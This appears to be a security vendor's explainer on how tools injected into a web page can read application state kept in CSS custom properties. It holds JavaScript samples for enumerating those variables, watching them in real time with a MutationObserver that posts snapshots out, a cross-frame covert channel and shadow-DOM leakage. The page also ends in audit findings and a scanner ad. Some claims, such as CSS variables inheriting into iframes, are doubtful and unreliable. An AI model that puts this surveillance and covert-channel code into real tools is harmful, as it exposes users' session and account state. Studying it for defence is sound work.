MCP Server Security · CSS Custom Properties · CSS Variables · getComputedStyle

MCP server CSS custom properties security — getComputedStyle state exfiltration, MutationObserver change monitoring, cross-frame covert channel, and shadow DOM boundary leakage

CSS custom properties (CSS variables, the --name: value syntax) defined on :root or any ancestor element are readable by any same-origin JavaScript via getComputedStyle(element).getPropertyValue('--name'). Applications that store application-level state in CSS variables — feature flags, user plan tier, A/B experiment assignments, theme tokens that encode user data — expose that entire state tree to any MCP tool injected into the same origin. A MutationObserver watching the :root style attribute tracks every state change in real time. Non-sandboxed cross-origin iframes can use :root variable mutations as a covert cross-frame communication channel with no postMessage calls visible to monitoring tools.

What applications store in CSS custom properties (and shouldn't)

Use caseExample variable nameSensitive data exposed
Feature flags--feature-new-checkout: enabledWhich features are enabled for this user/session — A/B variant assignment
User plan tier--user-tier: pro, --user-plan: enterpriseSubscription level — determines feature access and pricing information
Theme with user preferences--user-color: #e53e3eUser's saved color preference — PII if used as a personalization identifier
Auth/session state--auth-state: authenticatedWhether the user is logged in — useful for timing attacks on auth state transitions
LaunchDarkly / GrowthBook integration--experiment-checkout-v2: treatmentWhich experiment variant is active — can reveal internal rollout percentages
Content Security indicators--content-type: premiumWhether current content is paywalled — logic bypass indicator

Attack 1: Bulk CSS variable enumeration via getComputedStyle

// Enumerate all CSS custom properties on :root
// Works from any same-origin script or MCP tool

function enumerateRootVariables() {
  const style = getComputedStyle(document.documentElement);

  // Method 1: Iterate all CSS custom properties via StylePropertyMap (Chrome 66+)
  const results = {};
  for (const [prop, val] of document.documentElement.computedStyleMap()) {
    if (prop.startsWith('--')) {
      results[prop] = val.toString();
    }
  }

  // Method 2: Enumerate known stylesheet custom property names
  // by iterating CSSStyleSheet rules to find declared --names
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule.selectorText === ':root') {
          const text = rule.style.cssText;
          const varPattern = /--([\w-]+)\s*:\s*([^;]+)/g;
          let match;
          while ((match = varPattern.exec(text)) !== null) {
            results[`--${match[1]}`] = match[2].trim();
          }
        }
      }
    } catch (e) { /* cross-origin stylesheet — skip */ }
  }

  return results;
}

// Output example:
// {
//   "--user-tier": "pro",
//   "--feature-new-checkout": "enabled",
//   "--experiment-variant": "treatment-B",
//   "--auth-state": "authenticated",
//   "--user-id-hash": "a3f2c1..."
// }

Computed style includes inherited values. getComputedStyle(element) returns the computed value — including values inherited from ancestor elements. A CSS variable set on :root is inherited by every element in the document. Reading getComputedStyle(document.querySelector('button')) returns the same :root custom properties. This means an MCP tool that cannot directly access document.documentElement can still read :root variables through any element it can access.

Attack 2: Real-time state monitoring via MutationObserver on :root style

When JavaScript updates a CSS custom property via document.documentElement.style.setProperty('--name', 'value'), the change is reflected as a mutation to the element's style attribute. A MutationObserver watching the :root element for attribute mutations fires synchronously on every state change:

// Monitor all :root CSS variable changes in real time
const observer = new MutationObserver((mutations) => {
  for (const mutation of mutations) {
    if (mutation.type === 'attributes' && mutation.attributeName === 'style') {
      const el = mutation.target;
      const style = getComputedStyle(el);

      // Enumerate all custom properties after each change
      const state = {};
      for (const [prop, val] of el.computedStyleMap()) {
        if (prop.startsWith('--')) state[prop] = val.toString();
      }

      // Exfiltrate the post-mutation state snapshot
      fetch('/api/state-update', {
        method: 'POST',
        keepalive: true,
        body: JSON.stringify({
          timestamp: Date.now(),
          previousValue: mutation.oldValue,
          currentState: state
        })
      });
    }
  }
});

observer.observe(document.documentElement, {
  attributes: true,
  attributeOldValue: true, // capture the value before the change
  attributeFilter: ['style']
});

Attack 3: Cross-frame covert channel using :root variable mutations

When a parent page and a same-site (but different-origin) iframe share no CSP restrictions, the parent can set a CSS custom property on :root, and the iframe — if not sandboxed — inherits it via the CSS cascade. Because CSS variables inherit into iframes that share the same rendering context, this creates a side-channel for passing data from parent to child without any visible JavaScript communication:

// Parent page — encode a message bit by bit via CSS variable mutations
// Each bit is one --signal-N variable: '0' or '1'
function sendCovertMessage(message) {
  const bits = message.split('').map(c => c.charCodeAt(0).toString(2).padStart(8, '0')).join('');

  bits.split('').forEach((bit, i) => {
    // Schedule each bit mutation to avoid race conditions
    setTimeout(() => {
      document.documentElement.style.setProperty(`--signal-${i}`, bit);
    }, i * 10); // 10ms between bits
  });
}

// Child iframe — reads the signal variables via MutationObserver
// This communication path is NOT visible as postMessage,
// NOT captured by browser devtools message log,
// and NOT blocked by sandbox="allow-scripts" without allow-same-origin
const bits = [];
const obs = new MutationObserver(() => {
  for (let i = 0; i < 256; i++) {
    bits[i] = getComputedStyle(document.documentElement).getPropertyValue(`--signal-${i}`).trim();
  }
});
obs.observe(document.documentElement, { attributes: true, attributeFilter: ['style'] });

Attack 4: Shadow DOM boundary leakage

CSS custom properties are inherited by default — they cross shadow DOM boundaries unless the shadow root is in closed mode and the component explicitly resets the variable. A malicious MCP tool that injects a custom element containing a shadow root can read :root variables from within that shadow root, even if the component is meant to be isolated:

// Custom element — shadow root inherits :root CSS variables
class LeakyComponent extends HTMLElement {
  connectedCallback() {
    const shadow = this.attachShadow({ mode: 'open' });
    shadow.innerHTML = '<div id="inner"></div>';

    // CSS variables from :root are accessible here despite shadow DOM boundary
    const innerStyle = getComputedStyle(shadow.getElementById('inner'));

    // These are the same as document.documentElement values:
    const userTier = innerStyle.getPropertyValue('--user-tier').trim();
    const featureFlag = innerStyle.getPropertyValue('--feature-new-checkout').trim();

    // Shadow DOM does NOT block CSS custom property inheritance.
    // Only explicitly resetting a variable inside the shadow root stops inheritance:
    // :host { --user-tier: initial; }  ← this would prevent leakage
  }
}
customElements.define('leaky-component', LeakyComponent);

SkillAudit findings for CSS custom properties

HIGH
Bulk CSS variable enumeration followed by network exfiltrationcomputedStyleMap() or stylesheet iteration enumerating all --prefixed properties, then sending results to a network endpoint. Extracts the complete application state stored in CSS variables — feature flags, user tier, experiment variants — in a single synchronous read.
HIGH
MutationObserver on :root for real-time state surveillance — Observer watching document.documentElement attributes with attributeFilter: ['style']. Fires on every CSS variable state change, providing a continuous stream of application state transitions — authentication, plan upgrades, feature flag changes — without any visible DOM mutation from the user's perspective.
MEDIUM
CSS variable covert cross-frame channel — Parent-to-child communication via sequential setProperty() mutations observed by a MutationObserver in a non-sandboxed iframe. Bypasses postMessage monitoring in browser devtools and security proxies. Not blocked by sandbox="allow-scripts" alone.
MEDIUM
Application state stored in CSS variables accessible to MCP tool scope — Feature flags, user tier indicators, or A/B experiment assignments set via setProperty('--feature-*', ...) on :root. These are readable by any same-origin script; if a third-party MCP tool runs in the same origin scope, it has read access to the complete feature and experiment state.

Defense

Related: CSS media features fingerprinting · CSS Houdini paint worklet security · Ambient authority in MCP servers

Scan your MCP server for CSS variable state leakage

Paste a GitHub URL. Get a graded security report in 60 seconds.

Run free audit →